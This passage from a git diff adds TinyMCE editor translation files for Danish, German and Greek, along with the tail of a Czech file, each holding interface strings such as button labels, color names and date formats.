\u010derven\u00e1",FF6600:"Oran\u017eov\u00e1","808000":"Olivov\u00e1","008000":"Zelen\u00e1","008080":"Mod\u0159e zelen\u00e1","0000FF":"Modr\u00e1","666699":"\u0160edomodr\u00e1","808080":"\u0160ed\u00e1",FF0000:"\u010cerven\u00e1",FF9900:"Jantarov\u00e1","99CC00":"\u017dltozelen\u00e1","339966":"Morsk\u00e1 zelen\u00e1","33CCCC":"Tyrkysov\u00e1","3366FF":"Kr\u00e1lovsk\u00e1 modr\u00e1","800080":"Purpurov\u00e1","999999":"Sv\u011btle \u0161ed\u00e1",FF00FF:"Magentov\u00e1",FFCC00:"Zlat\u00e1",FFFF00:"\u017dlt\u00e1","00FF00":"Limetkov\u00e1","00FFFF":"Vodn\u00ed","00CCFF":"Nebesky modr\u00e1","993366":"Hn\u011bd\u00e1",C0C0C0:"St\u0159\u00edbrn\u00e1",FF99CC:"R\u016f\u017eov\u00e1",FFCC99:"Broskvov\u00e1",FFFF99:"Sv\u011btle \u017elt\u00e1",CCFFCC:"Sv\u011btle zelen\u00e1",CCFFFF:"Sv\u011btle azurov\u00e1","99CCFF":"Svetle nebesky modr\u00e1",CC99FF:"Slivkov\u00e1",FFFFFF:"Bil\u00e1"},aria:{"rich_text_area":"Oblast s form\u00e1tovan\u00fdm textem"},wordcount:{words:"Po\u010det slov: "}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/da.js b/js/tiny_mce/langs/da.js new file mode 100755 index 0000000..36c7540 --- /dev/null +++ b/js/tiny_mce/langs/da.js @@ -0,0 +1 @@ +tinyMCE.addI18n({da:{common:{"more_colors":"Flere farver","invalid_data":"Fejl: Forkerte v\u00e6rdier indtastet i felter markeret med r\u00f8d.","popup_blocked":"Undskyld, men vi har noteret os, at din popup-blocker har forhindret et vindue, der giver programmet funktionalitet, at \u00e5bne op. Hvis du vil have den fulde funktionalitet, m\u00e5 du sl\u00e5 popup-blockeren fra for dette websted.","clipboard_no_support":"P\u00e5 nuv\u00e6rende tidspunkt ikke supporteret af din browser. Anvend i stedet genvejene p\u00e5 tastaturet.","clipboard_msg":"Kopier/Klip/inds\u00e6t er ikke muligt i Mozilla eller Firefox.\nVil du have mere information om dette emne?","not_set":"-- Ikke sat --","class_name":"Klasse",browse:"Gennemse",close:"Luk",cancel:"Annuller",update:"Opdater",insert:"Inds\u00e6t",apply:"Anvend","edit_confirm":"Vil du bruge den avancerede tekstredigering?","invalid_data_number":"{#field} skal v\u00e6re et tal","invalid_data_min":"{#field} skal v\u00e6re et tal {#min}","invalid_data_size":"{#field} skal v\u00e6re et tal eller en procentsats",value:"(v\u00e6rdi)"},contextmenu:{full:"Lige marginer",right:"H\u00f8jre",center:"Centreret",left:"Venstre",align:"Justering"},insertdatetime:{"day_short":"S\u00f8n,Man,Tir,Ons,Tors,Fre,L\u00f8r,S\u00f8n","day_long":"S\u00f8ndag,Mandag,Tirsdag,Onsdag,Torsdag,Fredag,L\u00f8rdag,S\u00f8ndag","months_short":"Jan,Feb,Mar,Apr,Maj,Jun,Jul,Aug,Sep,Okt,Nov,Dec","months_long":"Januar,Februar,Marts,April,Maj,Juni,Juli,August,September,Oktober,November,December","inserttime_desc":"Inds\u00e6t klokkeslet","insertdate_desc":"Inds\u00e6t dato","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Udskriv"},preview:{"preview_desc":"Vis udskrift"},directionality:{"rtl_desc":"Retning h\u00f8jre mod venstre","ltr_desc":"Retning venstre mod h\u00f8jre"},layer:{content:"Nyt lag...","absolute_desc":"Sl\u00e5 absolut positionering til/fra","backward_desc":"Flyt bagud","forward_desc":"Flyt fremad","insertlayer_desc":"Inds\u00e6t nyt lag"},save:{"save_desc":"Gem","cancel_desc":"Annuller alle \u00e6ndringer"},nonbreaking:{"nonbreaking_desc":"Inds\u00e6t et blanktegn"},iespell:{download:"ieSpell blev ikke fundet. Vil du installere det nu?","iespell_desc":"Udf\u00f8r stavekontrol"},advhr:{"advhr_desc":"Horisontal linie","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Hum\u00f8rikoner","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"S\u00f8g/erstat","search_desc":"S\u00f8g","delta_width":"","delta_height":""},advimage:{"image_desc":"Inds\u00e6t/rediger billede","delta_width":"","delta_height":""},advlink:{"delta_width":"40","link_desc":"Inds\u00e6t/rediger link","delta_height":""},xhtmlxtras:{"attribs_desc":"Inds\u00e6t/rediger attributter","ins_desc":"Inds\u00e6ttelse","del_desc":"Sletning","acronym_desc":"Akronym","abbr_desc":"Forkortelse","cite_desc":"Citat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Rediger CSS stil","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Inds\u00e6t er nu i ikke-formateret modus. Klik igen for at skfite tilbage til almindelig inds\u00e6t modus.","plaintext_mode_sticky":"Inds\u00e6t er nu i ikke-formateret modus. Klik igen for at skfite tilbage til almindelig inds\u00e6t modus. Efter du har indsat noget s\u00e6ttes du automatisk tilbaeg til alminde inds\u00e6t modus.","selectall_desc":"V\u00e6lg alle","paste_word_desc":"Inds\u00e6t fra Word","paste_text_desc":"Inds\u00e6t ikke-formatteret tekst"},"paste_dlg":{"word_title":"Anvend CTRL+V p\u00e5 tastaturet for at inds\u00e6tte teksten.","text_linebreaks":"Bevar linieskift","text_title":"Anvend CTRL+V p\u00e5 tastaturet for at inds\u00e6tte teksten."},table:{cell:"Celle",col:"Kolonne",row:"R\u00e6kke",del:"Slet tabel","copy_row_desc":"Kopier r\u00e6kke","cut_row_desc":"Klip r\u00e6kke","paste_row_after_desc":"Inds\u00e6t r\u00e6kke efter","paste_row_before_desc":"Inds\u00e6t r\u00e6kke f\u00f8r","props_desc":"Tabelegenskaber","cell_desc":"Celleegenskaber","row_desc":"R\u00e6kkeegenskaber","merge_cells_desc":"Flet celler","split_cells_desc":"Opdel flettede celler","delete_col_desc":"Slet kolonne","col_after_desc":"Inds\u00e6t kolonne efter","col_before_desc":"Inds\u00e6t kolonne f\u00f8r","delete_row_desc":"Slet r\u00e6kke","row_after_desc":"Inds\u00e6t r\u00e6kke efter","row_before_desc":"Inds\u00e6t r\u00e6kke f\u00f8r",desc:"Inds\u00e6t tabel","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Hvis du genskaber det gemte indhold vil du miste al det indhold der lige nu er i editoren.nnEr du sikker p\u00e5 du vil genskabe det gemte indhold?","restore_content":"Genskab det gemte indhold.","unload_msg":"Har du foretaget nogle \u00e6ndringer, vil de g\u00e5 tabt, hvis du navigerer v\u00e6k fra denne side."},fullscreen:{desc:"Vis/skjul fuldsk\u00e6rmstilstand"},media:{edit:"Rediger indlejret mediefil",desc:"Inds\u00e6t/rediger indlejret mediefil","delta_height":"","delta_width":""},fullpage:{desc:"Dokumentegenskaber","delta_width":"","delta_height":""},template:{desc:"Inds\u00e6t pr\u00e6defineret skabelonindhold"},visualchars:{desc:"Vis/Skjul visuelle kontroltegn."},spellchecker:{desc:"Vis/skjul stavekontrol",menu:"Indstillinger for stavekontrol","ignore_word":"Ignorer ord","ignore_words":"Ignorer alle",langs:"Sprog",wait:"Vent venligst...",sug:"Forslag","no_sug":"Ingen forslag","no_mpell":"Ingen stavefejl fundet.","learn_word":"L\u00e6r ordet"},pagebreak:{desc:"Inds\u00e6t sideskift."},advlist:{types:"Typer",def:"Standard","lower_alpha":"Sm\u00e5 alfa","lower_greek":"Sm\u00e5 gr\u00e6ske","lower_roman":"Sm\u00e5 romertal","upper_alpha":"Store alfa","upper_roman":"Store romertal",circle:"Cirkel",disc:"Prik",square:"Firkant"},colors:{"333300":"M\u00f8rk oliven","993300":"Br\u00e6ndt orange","000000":"Sort","003300":"M\u00f8rkegr\u00f8n","003366":"Bl\u00e5 azur","000080":"Navy bl\u00e5","333399":"Indigo","333333":"Meget m\u00f8rk gr\u00e5","800000":"Maroon",FF6600:"Orange","808000":"Oliven","008000":"Gr\u00f8n","008080":"Teal","0000FF":"Bl\u00e5","666699":"Gr\u00e5bl\u00e5","808080":"Gr\u00e5",FF0000:"R\u00f8d",FF9900:"Amber","99CC00":"Gulgr\u00f8n","339966":"S\u00f8gr\u00f8n","33CCCC":"Turkis","3366FF":"Royal bl\u00e5","800080":"Violet","999999":"Medium gr\u00e5",FF00FF:"Magenta",FFCC00:"Guld",FFFF00:"Gul","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Himmelbl\u00e5","993366":"Brun",C0C0C0:"S\u00f8lv",FF99CC:"Pink",FFCC99:"Fersken",FFFF99:"Lysgul",CCFFCC:"Bleggr\u00f8n",CCFFFF:"Pale cyan","99CCFF":"Lys himmelb\u00e6\u00e5",CC99FF:"Plum",FFFFFF:"Hvis"},aria:{"rich_text_area":"Tekstomr\u00e5de med formatering"},wordcount:{words:"Ord:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/de.js b/js/tiny_mce/langs/de.js new file mode 100755 index 0000000..1494406 --- /dev/null +++ b/js/tiny_mce/langs/de.js @@ -0,0 +1 @@ +tinyMCE.addI18n({de:{common:{"more_colors":"Weitere Farben","invalid_data":"Fehler: Sie haben ung\u00fcltige Werte eingegeben (rot markiert).","popup_blocked":"Leider hat Ihr Popup-Blocker ein Fenster unterbunden, das f\u00fcr den Betrieb dieses Programms n\u00f6tig ist. Bitte deaktivieren Sie den Popup-Blocker f\u00fcr diese Seite.","clipboard_no_support":"Wird derzeit in Ihrem Browser nicht unterst\u00fctzt. Bitte benutzen Sie stattdessen die Tastenk\u00fcrzel.","clipboard_msg":"Kopieren, Ausschneiden und Einf\u00fcgen sind im Mozilla Firefox nicht m\u00f6glich.\nM\u00f6chten Sie mehr \u00fcber dieses Problem erfahren?","not_set":"- unbestimmt -","class_name":"CSS-Klasse",browse:"Durchsuchen",close:"Schlie\u00dfen",cancel:"Abbrechen",update:"Aktualisieren",insert:"Einf\u00fcgen",apply:"\u00dcbernehmen","edit_confirm":"M\u00f6chten Sie diesen Text jetzt bearbeiten?","invalid_data_number":"{#field} muss eine Zahl sein","invalid_data_min":"{#field} muss eine Zahl gr\u00f6\u00dfer als {#min} sein","invalid_data_size":"{#field} muss eine Zahl oder ein Prozentwert sein",value:"(Wert)"},contextmenu:{full:"Blocksatz",right:"Rechtsb\u00fcndig",center:"Zentriert",left:"Linksb\u00fcndig",align:"Ausrichtung"},insertdatetime:{"day_short":"So,Mo,Di,Mi,Do,Fr,Sa,So","day_long":"Sonntag,Montag,Dienstag,Mittwoch,Donnerstag,Freitag,Samstag,Sonntag","months_short":"Jan,Feb,M\u00e4r,Apr,Mai,Juni,Juli,Aug,Sept,Okt,Nov,Dez","months_long":"Januar,Februar,M\u00e4rz,April,Mai,Juni,Juli,August,September,Oktober,November,Dezember","inserttime_desc":"Zeit einf\u00fcgen","insertdate_desc":"Datum einf\u00fcgen","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"Drucken"},preview:{"preview_desc":"Vorschau"},directionality:{"rtl_desc":"Schrift von rechts nach links","ltr_desc":"Schrift von links nach rechts"},layer:{content:"Neue Ebene...","absolute_desc":"Absolute Positionierung","backward_desc":"Nach hinten legen","forward_desc":"Nach vorne holen","insertlayer_desc":"Neue Ebene einf\u00fcgen"},save:{"save_desc":"Speichern","cancel_desc":"Alle \u00c4nderungen verwerfen"},nonbreaking:{"nonbreaking_desc":"Gesch\u00fctztes Leerzeichen einf\u00fcgen"},iespell:{download:"ieSpell konnte nicht gefunden werden. Wollen Sie es installieren?","iespell_desc":"Rechtschreibpr\u00fcfung"},advhr:{"advhr_desc":"Trennlinie","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Smilies","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Suchen/Ersetzen","search_desc":"Suchen","delta_width":"","delta_height":""},advimage:{"image_desc":"Bild einf\u00fcgen/ver\u00e4ndern","delta_width":"","delta_height":""},advlink:{"link_desc":"Link einf\u00fcgen/ver\u00e4ndern","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Attribute einf\u00fcgen/bearbeiten","ins_desc":"Eingef\u00fcgter Text","del_desc":"Entfernter Text","acronym_desc":"Akronym","abbr_desc":"Abk\u00fcrzung","cite_desc":"Quellenangabe","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS-Styles bearbeiten","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Einf\u00fcgemodus ist nun \"Nur Text\". Erneut klicken stellt den Normalmodus wieder her.","plaintext_mode_sticky":"Einf\u00fcgemodus ist nun \"Nur Text\". Erneut klicken (oder das Einf\u00fcgen aus der Zwischenablage) stellt den Normalmodus wieder her.","selectall_desc":"Alles ausw\u00e4hlen","paste_word_desc":"Mit Formatierungen (aus Word) einf\u00fcgen","paste_text_desc":"Als einfachen Text einf\u00fcgen"},"paste_dlg":{"word_title":"Dr\u00fccken Sie auf Ihrer Tastatur Strg+V, um den Text einzuf\u00fcgen.","text_linebreaks":"Zeilenumbr\u00fcche beibehalten","text_title":"Dr\u00fccken Sie auf Ihrer Tastatur Strg+V, um den Text einzuf\u00fcgen."},table:{"cellprops_delta_width":"150",cell:"Zelle",col:"Spalte",row:"Zeile",del:"Tabelle l\u00f6schen","copy_row_desc":"Zeile kopieren","cut_row_desc":"Zeile ausschneiden","paste_row_after_desc":"Zeile unterhalb aus der Zwischenablage einf\u00fcgen","paste_row_before_desc":"Zeile oberhalb aus der Zwischenablage einf\u00fcgen","props_desc":"Eigenschaften der Tabelle","cell_desc":"Eigenschaften der Zelle","row_desc":"Eigenschaften der Zeile","merge_cells_desc":"Zellen verbinden","split_cells_desc":"Verbundene Zellen trennen","delete_col_desc":"Spalte l\u00f6schen","col_after_desc":"Spalte rechts einf\u00fcgen","col_before_desc":"Spalte links einf\u00fcgen","delete_row_desc":"Zeile l\u00f6schen","row_after_desc":"Zeile unterhalb einf\u00fcgen","row_before_desc":"Zeile oberhalb einf\u00fcgen",desc:"Tabelle erstellen/bearbeiten","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Wenn Sie den Inhalt wiederherstellen, gehen die aktuellen Daten im Editor verloren.\n\nSind sie sicher, dass Sie den Inhalt wiederherstellen m\u00f6chten?","restore_content":"Automatisch gespeicherten Inhalt wiederherstellen.","unload_msg":"Ihre \u00c4nderungen werden verloren gehen, wenn Sie die Seite verlassen."},fullscreen:{desc:"Vollbildschirm"},media:{edit:"Multimediaeinbettung bearbeiten",desc:"Multimedia einbetten/bearbeiten","delta_height":"","delta_width":""},fullpage:{desc:"Dokument-Eigenschaften","delta_width":"","delta_height":""},template:{desc:"Inhalt aus Vorlage einf\u00fcgen"},visualchars:{desc:"Sichtbarkeit der Steuerzeichen an/aus"},spellchecker:{desc:"Rechtschreibpr\u00fcfung an/aus",menu:"Einstellungen der Rechtschreibpr\u00fcfung","ignore_word":"Wort ignorieren","ignore_words":"Alle ignorieren",langs:"Sprachen",wait:"Bitte warten...",sug:"Vorschl\u00e4ge","no_sug":"Keine Vorschl\u00e4ge","no_mpell":"Keine Rechtschreibfehler gefunden.","learn_word":"Zum W\u00f6rterbuch hinzuf\u00fcgen"},pagebreak:{desc:"Seitenumbruch einf\u00fcgen"},advlist:{types:"Typen",def:"Standard","lower_alpha":"a. b. c.","lower_greek":"1. 2. 3.","lower_roman":"i. ii. iii.","upper_alpha":"A. B. C.","upper_roman":"I. II. III.",circle:"Kreis",disc:"Punkt",square:"Quadrat"},colors:{"333300":"Dunkeloliv","993300":"Orange","000000":"Schwarz","003300":"Dunkelgr\u00fcn","003366":"Dunkles himmelblau","000080":"Marineblau","333399":"Indigoblau","333333":"Sehr dunkelgrau","800000":"Kastanienbraun",FF6600:"Orange","808000":"Oliv","008000":"Gr\u00fcn","008080":"Blaugr\u00fcn","0000FF":"Blau","666699":"Graublau","808080":"Grau",FF0000:"Rot",FF9900:"Bernsteinfarben","99CC00":"Gelbgr\u00fcn","339966":"Meergr\u00fcn","33CCCC":"T\u00fcrkis","3366FF":"K\u00f6nigsblau","800080":"Violett","999999":"Mittelgrau",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Gelb","00FF00":"Hellgr\u00fcn","00FFFF":"Aquamarinblau","00CCFF":"Himmelblau","993366":"Braun",C0C0C0:"Silber",FF99CC:"Rosa",FFCC99:"Pfirsichfarben",FFFF99:"Hellgelb",CCFFCC:"Blassgr\u00fcn",CCFFFF:"Blasst\u00fcrkis","99CCFF":"Helles himmelblau",CC99FF:"Pflaumenblau",FFFFFF:"Wei\u00df"},aria:{"rich_text_area":"Rich Text Bereich"},wordcount:{words:"W\u00f6rter: "}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/el.js b/js/tiny_mce/langs/el.js new file mode 100755 index 0000000..3c17130 --- /dev/null +++ b/js/tiny_mce/langs/el.js @@ -0,0 +1 @@ +tinyMCE.addI18n({el:{common:{"more_colors":"\u03a0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b1 \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1","invalid_data":"Error: Invalid values entered, these are marked in red.","popup_blocked":"\u0388\u03bd\u03b1 popup-blocker \u03c0\u03c1\u03cc\u03b3\u03c1\u03b1\u03bc\u03bc\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03b1\u03c0\u03b5\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03b5\u03b9 \u03ad\u03bd\u03b1 \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b5\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae. \u03a0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03c4\u03bf \u03b1\u03c0\u03b5\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03b5\u03c4\u03b5 \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b9\u03c3\u03c4\u03bf\u03c3\u03b5\u03bb\u03af\u03b4\u03b1 \u03b1\u03c5\u03c4\u03ae \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03b5\u03c4\u03b5 \u03c0\u03bb\u03ae\u03c1\u03c9\u03c2 \u03c4\u03b7\u03bd \u03b5\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae.","clipboard_no_support":"\u0394\u03b5\u03bd \u03c5\u03c0\u03bf\u03c3\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03c6\u03c5\u03bb\u03bb\u03bf\u03bc\u03b5\u03c4\u03c1\u03b7\u03c4\u03ae \u03c3\u03b1\u03c2, \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 \u03c4\u03b9\u03c2 \u03c3\u03c5\u03bd\u03c4\u03bf\u03bc\u03b5\u03cd\u03c3\u03b5\u03b9\u03c2 \u03c0\u03bb\u03b7\u03ba\u03c4\u03c1\u03bf\u03bb\u03bf\u03b3\u03af\u03bf\u03c5.","clipboard_msg":"\u039f\u03b9 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b5\u03c2 \u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae/\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae/\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b4\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03b9\u03b1\u03b8\u03ad\u03c3\u03b9\u03bc\u03b5\u03c2 \u03c3\u03b5 Mozilla \u03ba\u03b1\u03b9 Firefox.\n\u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03c0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b5\u03c2 \u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2 ;","not_set":"-- \u039c\u03b7 \u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf --","class_name":"\u039a\u03bb\u03ac\u03c3\u03b7",browse:"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7",close:"\u039a\u03bb\u03b5\u03af\u03c3\u03b9\u03bc\u03bf",cancel:"\u0386\u03ba\u03c5\u03c1\u03bf",update:"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7",insert:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae",apply:"\u0395\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae","edit_confirm":"\u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03b5\u03c4\u03b5 \u03c4\u03b7\u03bd \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 WYSIWYG ;","invalid_data_number":"{#field} \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc\u03c2","invalid_data_min":"{#field} \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc\u03c2 \u03bc\u03b5\u03b3\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03bf\u03c2 \u03c4\u03bf\u03c5 {#min}","invalid_data_size":"{#field} \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc\u03c2 \u03ae \u03c0\u03bf\u03c3\u03bf\u03c3\u03c4\u03cc",value:"(value)"},contextmenu:{full:"\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2",right:"\u0394\u03b5\u03be\u03b9\u03ac",center:"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf",left:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7"},insertdatetime:{"day_short":"\u039a\u03c5,\u0394\u03b5,\u03a4\u03c1,\u03a4\u03b5\u03c4,\u03a0\u03ad\u03bc,\u03a0\u03b1\u03c1,\u03a3\u03b1\u03b2","day_long":"\u039a\u03c5\u03c1\u03b9\u03b1\u03ba\u03ae,\u0394\u03b5\u03c5\u03c4\u03ad\u03c1\u03b1,\u03a4\u03c1\u03af\u03c4\u03b7,\u03a4\u03b5\u03c4\u03ac\u03c1\u03c4\u03b7,\u03a0\u03ad\u03bc\u03c0\u03c4\u03b7,\u03a0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae,\u03a3\u03ac\u03b2\u03b2\u03b1\u03c4\u03bf","months_short":"\u0399\u03b1\u03bd,\u03a6\u03b5\u03b2,\u039c\u03ac\u03c1,\u0391\u03c0\u03c1,\u039c\u03ac\u03b9,\u0399\u03bf\u03cd\u03bd,\u0399\u03bf\u03cd\u03bb,\u0391\u03cd\u03b3,\u03a3\u03b5\u03c0,\u039f\u03ba\u03c4,\u039d\u03bf\u03ad,\u0394\u03b5\u03ba","months_long":"\u0399\u03b1\u03bd\u03bf\u03c5\u03ac\u03c1\u03b9\u03bf\u03c2,\u03a6\u03b5\u03b2\u03c1\u03bf\u03c5\u03ac\u03c1\u03b9\u03bf\u03c2,\u039c\u03ac\u03c1\u03c4\u03b9\u03bf\u03c2,\u0391\u03c0\u03c1\u03af\u03bb\u03b9\u03bf\u03c2,\u039c\u03ac\u03b9\u03bf\u03c2,\u0399\u03bf\u03cd\u03bd\u03b9\u03bf\u03c2,\u0399\u03bf\u03cd\u03bb\u03b9\u03bf\u03c2,\u0391\u03cd\u03b3\u03bf\u03c5\u03c3\u03c4\u03bf\u03c2,\u03a3\u03b5\u03c0\u03c4\u03ad\u03bc\u03b2\u03c1\u03b9\u03bf\u03c2,\u039f\u03ba\u03c4\u03ce\u03b2\u03c1\u03b9\u03bf\u03c2,\u039d\u03bf\u03ad\u03bc\u03b2\u03c1\u03b9\u03bf\u03c2,\u0394\u03b5\u03ba\u03ad\u03bc\u03b2\u03c1\u03b9\u03bf\u03c2","inserttime_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03ce\u03c1\u03b1\u03c2","insertdate_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b7\u03bc\u03ad\u03c1\u03b1\u03c2","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u0395\u03ba\u03c4\u03cd\u03c0\u03c9\u03c3\u03b7"},preview:{"preview_desc":"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7"},directionality:{"rtl_desc":"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b4\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","ltr_desc":"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac"},layer:{content:"\u039d\u03ad\u03bf layer...","absolute_desc":"\u0391\u03c0\u03cc\u03bb\u03c5\u03c4\u03b7/\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ae \u03c4\u03bf\u03c0\u03bf\u03b8\u03ad\u03c4\u03b7\u03c3\u03b7","backward_desc":"\u039c\u03b5\u03c4\u03b1\u03ba\u03af\u03bd\u03b7\u03c3\u03b7 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03ae\u03bd\u03b9\u03bf","forward_desc":"\u039c\u03b5\u03c4\u03b1\u03ba\u03af\u03bd\u03b7\u03c3\u03b7 \u03c3\u03c4\u03bf \u03c0\u03c1\u03bf\u03c3\u03ba\u03ae\u03bd\u03b9\u03bf","insertlayer_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03bd\u03ad\u03bf\u03c5 layer"},save:{"save_desc":"\u0391\u03c0\u03bf\u03b8\u03ae\u03ba\u03b5\u03c5\u03c3\u03b7","cancel_desc":"\u0391\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03b1\u03bb\u03bb\u03b1\u03b3\u03ce\u03bd"},nonbreaking:{"nonbreaking_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae non-breaking \u03ba\u03b5\u03bd\u03bf\u03cd \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1"},iespell:{download:"\u03a4\u03bf ieSpell \u03b4\u03b5\u03bd \u03b2\u03c1\u03ad\u03b8\u03b7\u03ba\u03b5. \u039d\u03b1 \u03ba\u03b1\u03c4\u03ad\u03b2\u03b5\u03b9 \u03c4\u03ce\u03c1\u03b1 ;","iespell_desc":"\u0395\u03ba\u03c4\u03ad\u03bb\u03b5\u03c3\u03b7 \u03b5\u03bb\u03ad\u03b3\u03c7\u03bf\u03c5 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03b1\u03c6\u03af\u03b1\u03c2"},advhr:{"advhr_desc":"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 